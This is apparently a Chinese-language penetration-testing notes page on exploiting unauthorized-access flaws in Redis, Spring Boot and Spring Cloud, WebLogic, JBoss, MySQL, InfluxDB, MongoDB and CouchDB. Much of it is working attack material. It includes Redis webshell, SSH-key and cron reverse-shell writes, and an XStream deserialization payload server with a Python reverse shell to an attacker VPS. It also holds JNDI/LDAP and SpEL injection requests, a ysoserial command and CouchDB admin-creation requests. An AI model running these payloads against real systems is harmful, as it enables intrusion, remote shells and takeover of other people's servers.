总字符数: 17.65K
代码: 6.99K, 文本: 3.65K
预计阅读时间: 46 分钟
redis
redis利用方式
- ssh-key
redis
以root用户运行- ssh端口开放并且权限够大
- 定时任务
redis
以root用户运行- 了解定时任务常见的目录
- 写入
webshell
redis
以root用户运行- 网站根目录
- 主从复制Rce
- 适用版本redis4.x/5.x
WebShell
1 | # 修改redis.conf文件 |
1 | config set dir /www/admin/localhost_80/wwwroot/ |
ssh-key shell
1 | # centos受害机 |
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
然后将公钥写入 foo.txt
文件
连接 Redis 写入文件
1 | cat ~/.ssh/foo.txt | redis-cli -h 192.168.164.129 -x set crackit |
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:ssh -i id_rsa root@192.168.164.129
即可远程利用自己的私钥登录该服务器.
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤.
计划任务
限制条件:Redis服务使用ROOT账号启动And Redis版本为4.0.5
1 | wget https://download.redis.io/releases/redis-4.0.5.tar.gz |
1 | set xx "\n* * * * * bash -i >& /dev/tcp/IP/8888 0>&1\n" |
主从复制
随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
然后关于Redis主从复制的一些问题,REDIS主从复制的疑问:
redis主从复制
什么是主从模式呢?
- 主从模式就是指使用一个Redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
什么是主从复制呢?
- 跟所有的数据库的主从复制一样,为了备份和提高性能。有一台主服务器,n台从服务器,从服务器会实时备份主服务器数据。
Redis4.x以上外部拓展
在 Redis 4.x 版本之后,Redis 增加了模块功能。通过这个功能,我们可以通过外部拓展的方式,在 Redis 中实现一个新的 Redis 命令。具体做法是使用 C 语言编写代码,并将其编译为一个动态链接库文件(.so 文件)。
这样做的好处是,我们可以在 Redis 中添加自定义的功能,而不需要修改 Redis 的核心代码。通过编写 C 语言代码并编译成动态链接库,我们可以将这个库加载到 Redis 中,并且让 Redis 识别并执行其中定义的新命令。这样就能够在 Redis 中拥有额外的功能和灵活性。
总结起来,新增的模块功能允许我们使用 C 语言编写扩展代码,将其编译成 .so 文件,并将其加载到 Redis 中,从而实现在 Redis 中添加新的自定义命令,以扩展 Redis 的功能。
利用原理
在 Redis 的主从模式中,主机实例可以通过 FULLRESYNC 将数据同步到从机上。FULLRESYNC 是一种全量同步的机制,用于确保从机上的数据与主机一致。
然后,在从机上加载 .so 文件,我们可以执行拓展的新命令。这是因为在 Redis 的主从复制中,主服务器不仅会将数据复制到从服务器上,还会将自己的配置信息传递给从服务器。其中包括已加载的模块信息。
通过 FULLRESYNC 同步文件到从机上后,从机将具有与主机相同的数据和配置信息,包括已加载的 .so 文件。因此,在从机上可以直接使用已加载的模块,执行拓展的新命令。
Redis主从复制GetShell过程
- 本地编译好外部扩展即so文件
- 把so文件转码存入本地redis数据库
- 到目标服务器上设置主从关系,主服务器指定我们的本地机子
- 待同步后,设置备份路径和备份文件名(xx.so)
- 开始同步,备份数据库
- 然后加载备份数据库
- 然后就可以通过redis执行命令反弹shell了
1 | 在 Redis 主从复制中,目标机器并不是直接保存转译好的 so 文件的原因如下: |
复现过程
1 | wget https://download.redis.io/releases/redis-5.0.7.tar.gz |
1 | bind 127.0.0.1 ::1 这行注释掉,这样一来redis-server 的 host 就默认是 0.0.0.0, |
1 | # Kali |
注意事项
主从rce使用后容易把目标redis服务打挂,尽量不要过多使用,同时使用之前尽量先准备好权限维持的手段。
rce脚本会修改目标redis的配置项dbfilename和slaveof,事后要记得改回来。
redis外部拓展的利用
redis外部拓展可以加载自己想要的任何东西,应用也十分广泛,不仅仅是执行命令。
- 后门的制作
- 绕过一些无法执行命令的场景(如php_disable_fuction)
Spring Boot 未授权
whitelabel error page SpEL RCE
利用条件
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
原理
spring boot
处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper
类中,此时 URL 中的参数值会用parseStringValue
方法进行递归解析.
其中${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作SpEL
表达式被解析执行,造成RCE
漏洞.
SPEL简介
Spring Expression Language
(简称SpEL
)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于统一 EL,但提供了额外的功能,最显着的是方法调用和基本的字符串模板功能类似表达式:OGNL、MVEL、Jboss EL等等
漏洞复现
- 找到传参点
比如发现访问/article?id=xxx
,页面会报状态码为 500 的错误:Whitelabel Error Page
,则后续payload
都将会在参数id
处尝试 - 执行SpEL表达式
输入/article?id=
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞 - 执行calc命令
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
1
2
3
4
5
6
7
8# 其中0x63,0x61,0x6c,0x63部分是calc的16进制形式
# 可以使用如下脚本获取
# coding: utf-8
result = ""
target = 'calc'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
spring cloud SnakeYAML RCE
漏洞原理
- spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
- refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
- SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
- 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
- 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
- 实例化类时执行恶意代码,造成 RCE 漏洞
利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
- 托管
yml
和jar
文件1
2
3
4
5# 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下
- 设置
spring.cloud.bootstrap.location
属性 - 刷新配置(post方式访问/refresh)
eureka xstream deserialization RCE
Xstream 简介
XStream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索.XStream也可以将JavaBean序列化成Json或反序列化,使用非常方便.
xStream.fromXML(xml);
漏洞原理
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的python,作用是利用目标 Linux 机器上自带的 python 来反弹shell
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shellnc -lvp 443
设置
eureka.client.serviceUrl.defaultZone
属性
spring 1.x1
2
3
4POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
- 刷新配置(post方式访问/refresh)
jolokia logback JNDI RCE
ldap 注入可能会受目标 JDK 版本影响:jdk < 6u201/7u191/8u182/11.0.1
使用 LDAP+JNDI Reference 的方式,在**JDK 11.0.1、8u191、7u201、6u211 ** 后被限制 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为 false
使用 RMI+JNDI Reference 的方式,在 JDK 6u141、7u131、8u121 及以后的版本被限制 官方将 com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 的值设置为 false,则不能再从 codebase 中加载类了
漏洞原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
- 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
- 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
查看已存在的 MBeans
访问 /jolokia/list 或者/actuator/jolokia/list接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词托管 xml 文件
在根目录放置example.xml
文件,内容如下:1
2
3<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/Evil" as="appName" />
</configuration>编写恶意类
Evil.java
,并用javac Evil.java
对恶意类进行编译成Evil.class
,放在 VPS 上1
2
3
4
5public class Evil {
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}用 python 在 VPS 上开启一个web服务,要在
Evil.class
同目录下开启web服务,让Evil.class
和example.xml
在 web 根目录1
2python2 -m SimpleHTTPServer 8899
python3 -m http.server 8899使用 marshalsec 在 VPS 上架设一个 LDAP 服务
需要将marshalsec打包成jar包再运行1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8899/#Evil 1389
访问触发
1
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/43.138.77.252:8899!/example.xml
Spring-Cloud-GateWay(cve-2022-22947)
利用条件
- Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway < 3.0.7
- Actuator 存在 gateaway 接口, 且可post添加route
- 可进行refresh刷新
漏洞复现
- 存在gateway接口
http://192.168.164.128:55000/actuator
- 添加route
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26POST /actuator/gateway/routes/new_test HTTP/1.1
Host: 192.168.164.128:55000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 322
{
"id": "test",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/new_test"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.lang.Runtime).getRuntime().exec(\"curl duvc3b.dnslog.cn\")}"
}
}],
"uri": "http://127.0.0.1:9999"
}]
- 接口refresh
1
2
3
4
5
6
7
8
9
10
11POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.164.128:55000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- 命令执行结果
中间件
Weblogic未授权RCE(CVE-2019-2725)
利用条件
- weblogic 10.x、weblogic 12.1.3
- 存在/_async/AsyncResponseService接口
漏洞复现
- 访问
/_async/AsyncResponseService
接口,存在如下页面,即存在漏洞 - attck-命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping tdjmtv.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
修复建议
升级本地JDK环境
及时安装官方补丁
Jboss未授权(CVE-2017-12149)
利用条件
- 5.x和6.x版本的JBOSS
- invoker/readonly接口未做限制或过滤(一般该路径回显500)
漏洞复现
- 访问
/invoker/readonly
在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码
文件路径是:server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet,在这个路径下的ReadOnlyAccessFilter.class中.
把这个class扔到IDEA中查看源码,发现这个过滤器在做过滤的时候没有做任何的校验,导致恶意用户在直接访问这个接口去POST数据的时候(看63行之前的代码)服务器得到输入流,对输入流进行对象化,执行数据流中的对象
- 生成序列化数据
java -jar ysoserial-all.jar CommonsCollections6 "ping lensx0.dnslog.cn" > poc.ser
- 发送序列化数据
curl http://192.168.164.128:8080/invoker/readonly --data-binary @poc.ser
- BP发送数据
- attck-success
数据库未授权
Mysql 身份认证绕过漏洞(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的.也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库.
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done |
Influxdb未授权
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式.在用户开启了认证,但未设置参数
shared-secret
的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句.
利用条件
- InfluxDB < 1.7.6
漏洞复现
访问http://192.168.164.128:8086/debug/vars即可查看一些服务信息,但此时POST访问query执行SQL语句则会出现401错误
我们借助https://jwt.io/来生成jwt token
{ "alg": "HS256", "typ": "JWT" } { "username": "admin", "exp": 1676346267 }
发送带有这个jwt token的数据包,可见SQL语句执行成功
MongoDB未授权
MongoDB服务开启时不加任何参数,默认是没有开启认证的,攻击者通过默认端口(27017),无需密码就能远程登录,连接数据库进行任何操作.
CouchDB
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”.它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库.
CouchDB默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能.其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问
影响版本:小于 1.7.0 以及 小于 2.1.1
漏洞复现
- 首先,发送如下数据包可见,返回403错误:
{"error":"forbidden","reason":"Only _admin may set roles"}
,只有管理员才能设置Role角色:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.164.128:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cache-Control: max-age=0
Content-Length: 80
{
"type":"user",
"name":"vulhub",
"roles":["_admin"],
"password":"vulhub"
}
发送包含两个roles的数据包,即可绕过限制:
1 | PUT /_users/org.couchdb.user:vulhub HTTP/1.1 |